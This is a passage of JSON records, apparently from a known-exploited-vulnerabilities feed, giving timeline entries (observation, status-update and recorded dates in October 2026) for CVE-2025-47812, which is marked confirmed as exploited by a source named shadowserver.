"status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-10-28T00:00:00Z", "date_only": true, "value": "2026-10-28", "kind": "kev", "label": "Observation date", "source": "shadowserver", "record": "CVE-2025-47812", "field": "evidence.0.details.observation_date", "uuid": "8491d74a-1f3a-4b0e-bc64-f4f623bf4752", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-10-28T00:00:00Z", "date_only": false, "value": "2026-10-28T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "shadowserver", "record": "CVE-2025-47812", "field": "status.status_updated_at", "uuid": "8491d74a-1f3a-4b0e-bc64-f4f623bf4752", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-10-30T01:00:01Z", "date_only": false, "value": "2026-10-30T01:00:01+00:00", "kind": "kev", "label": "Recorded", "source": "shadowserver", "record": "CVE-2025-47812", "field": "timestamps.recorded_at", "uuid": "8491d74a-1f3a-4b0e-bc64-f4f623bf4752", "status": {"status_reason": "confirmed", "exploited": true}}]}